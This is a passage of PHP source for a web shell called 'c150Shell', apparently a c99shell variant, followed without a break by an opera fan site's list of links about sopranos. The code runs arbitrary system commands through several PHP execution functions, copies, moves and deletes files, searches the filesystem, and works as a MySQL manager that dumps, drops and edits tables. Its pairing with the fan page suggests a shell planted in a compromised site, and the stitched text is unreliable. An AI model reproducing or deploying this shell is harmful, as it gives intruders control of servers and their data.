and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return false;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { $ret = true; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} if (!$ret) {return $ret;} } } closedir($h); return true; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return false;} } else {return false;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== false) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return false;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { $result = ""; if (!empty($cmd)) { if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);} elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);} elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();} elseif (($result = `$cmd`) !== false) {} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists("tabsort")) { function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);} } if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400) ? "r" : "-"; $owner["write"] = ($mode & 00200) ? "w" : "-"; $owner["execute"] = ($mode & 00100) ? "x" : "-"; $group["read"] = ($mode & 00040) ? "r" : "-"; $group["write"] = ($mode & 00020) ? "w" : "-"; $group["execute"] = ($mode & 00010) ? "x" : "-"; $world["read"] = ($mode & 00004) ? "r" : "-"; $world["write"] = ($mode & 00002) ? "w" : "-"; $world["execute"] = ($mode & 00001) ? "x" : "-"; if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";} if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";} if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";} return $type.$owner["read"].$owner["write"].$owner["execute"]. $group["read"].$group["write"].$group["execute"]. $world["read"].$world["write"].$world["execute"]; } } if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}} if (!function_exists("c150sh_getupdate")) { function c150sh_getupdate() { global $updatenow; $data = @file_get_contents($c150sh_updatefurl."?version=".$shver."&"); if (!$data) {echo "Can't fetch update-information!";} else { $data = unserialize(base64_decode($data)); if (!is_array($data)) {echo "Corrupted update-information!";} elseif ($shver < $data["cur"]) {$updatenow = true;} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = true;} if (empty($file)) { global $win; if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";} } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = true;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $SERVER_ADDR = getenv("SERVER_ADDR"); $SERVER_NAME = getenv("SERVER_NAME"); $out = "# Dumped by c150Shell.SQL v. ".$shver." # Home page: http://ccteam.ru # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." # Date: ".date("d.m.Y H:i:s")." # ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo "
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



 
Fields:
"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " ".$name."
";} echo "
"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return false;} } } if (!function_exists("c150fsearch")) { function c150fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== false) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c150fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} //Sending headers header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); if (empty($tmpdir)) { if (!$win) {$tmpdir = "/tmp/";} else {$tmpdir = getenv("SystemRoot");} } else {$tmpdir = realpath($tmpdir);} $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "ON (secure)"; } else {$safemode = false; $hsafemode = "OFF (not secure)";} $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); //FFFFFF @ini_set("highlight.comment",$highlight_comment); //#FF8000 @ini_set("highlight.default",$highlight_default); //#0000BB @ini_set("highlight.html",$highlight_html); //#000000 @ini_set("highlight.keyword",$highlight_keyword); //#007700 @ini_set("highlight.string",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); ?><?php echo getenv("HTTP_HOST"); ?> - c150shell

!c150Shell v. !

Software:  

uname -a: ",1); ?> 

",1);} else {echo get_current_user();} ?> 

Safe-mode: 

".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; $i++; } echo "   "; if (is_writable($d)) { $wd = true; $wdt = "[ ok ]"; echo "".view_perms(fileperms($d)).""; } else { $wd = false; $wdt = "[ Read-Only ]"; echo "".view_perms_color($d).""; } if (is_callable("disk_free_space")) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === false) {$free = 0;} if ($total === false) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo "
Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; } echo "
"; $letters = ""; if ($win) { $v = explode("\\",$d); $v = $v[0]; foreach (range("a","z") as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= " ] "; } } if (!empty($letters)) {echo "Detected drives: ".$letters."
";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "".$item[0]."    "; } } ?>



Attention! SQL-Manager is NOT ready module! Don't reports bugs.

"; if (!$sql_sock) {?>
SQL Manager:
"; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "
Can't connect
"; echo "".$err."";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "
MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
"; } echo "
i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:
    UsernamePassword Database 
    HostPORT
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo " ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { ?>
    Home

    Please, select database
    "; //Start center panel $diplay = true; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
    "; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "
    "; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



     
    ";} } if (in_array($sql_act,$acts)) { ?>
    Create new table:
     
    Dump DB:
    "> 
    ";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = false; echo "
    SQL-Dump:

    "; echo "DB: 

    "; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1: 

    "; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File: 

    "; echo "Download:  

    "; echo "Save to file:  "; echo "



    1 - all, if empty"; echo "
    "; } else { $diplay = true; $set = array(); $set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "download"; $set["print"] = 0; $set["nl2br"] = 0; $set[""] = 0; $set["file"] = $dump_file; $set["add_drop"] = true; $set["onlytabs"] = array(); if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; } } else {echo "Dump: nothing to do!";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; echo "Structure ]   "; echo "Browse ]   "; echo "Dump ]   "; echo "Insert ]   "; if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo "

    Inserting row into table:
    "; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
    "; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo ""; $i++; } echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; echo "Insert as new row"; if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} echo "

    "; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "
    "; echo "\"Pages\" "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "
    From:  To:  
    "; echo "
    "; echo ""; echo ""; for ($i=0;$i"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "".$v."";} else {echo "".$v."\"".$m."\"";} echo ""; } echo ""; echo ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo ""; $i++; } echo ""; echo ""; } mysql_free_result($result); echo "
    Action
    ".$v.""; echo "\"Delete\" "; echo "\"Edit\" "; echo "

     

    "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
    Table
    RowsTypeCreatedModified
    Cantablile
    Another site that combines many types of information and is indispensable for opera and diva lovers.
    Coloratura Sopranos
    Created by this site's co-writer, John Carroll, Coloratura Sopranos is truly a sister site to Legacy of the Diva.  It includes a fascinating collection of photos, autographs, as well as discographic information.  Site has special tributes to Ingeborg Hallstein and Beverly Sills and a useful listing of recordings of the arias of the Queen of the Night.  Be sure to visit often.
    Composers and their works
    Biographical info on Composers and their works.
    Giovanni Pacini Site
    A wonderful new site devoted to the life and works of Giovanni Pacini. Hosted by Dan Foley, a contributer to Diva Legacy.
    Historical Tenor Site
    Another superb resource starting page. Not only some fascinating and in-depth coverage of tenors but also a link page that will lead you all over the place.
    Mariella Devia Fan Page
    Another one that needs no explanation.  Just visit it.
    Opera Critic
    An all in one site that will keep you up to date on current articles, performances and CD releases.  A great site that benefits from daily visits.
    Opera Glass
    An excellent operatic resource page
    Parterre Box
    Infamous and extremely clever.  Once an underground gay publication, this online site offers some of the best of its many past issues as well as current gossip.  If you like some (often brutally honest) humor served up with your opera you must not miss this.  Huge site.
    Placido Domingo
    OK, so he is not a diva.  A fabulous site for a wonderful singer.  Check it out and be prepared to spend a number of hours.
    Soprano Central!
    Craig Ross has done a wonderful job with this site.  Any lover of sopranos should be sure to bookmark this and return often.
    The Joan Sutherland Society of Sydney
    The Joan Sutherland Society of Sydney is a site that is responsible for helping young singers in propelling their artistic careers. Do check it out.
    Yahoo
    One of the best search engines to help you find what you are looking for.
    Yahoo Group: Coloratura
    Started by this site's contributor, John Carroll, in 2000, this is a sister site to Legacy of the Diva. Be sure to join and contribute to the discussions.
    Yma Sumac Homepage and Archives
    Huge official site of photos, information and memorabilia of the Peruvian songstress.  Strongly recommended to all visitors.
     

    Administration Home
    If you found this page by itself via a search engine,
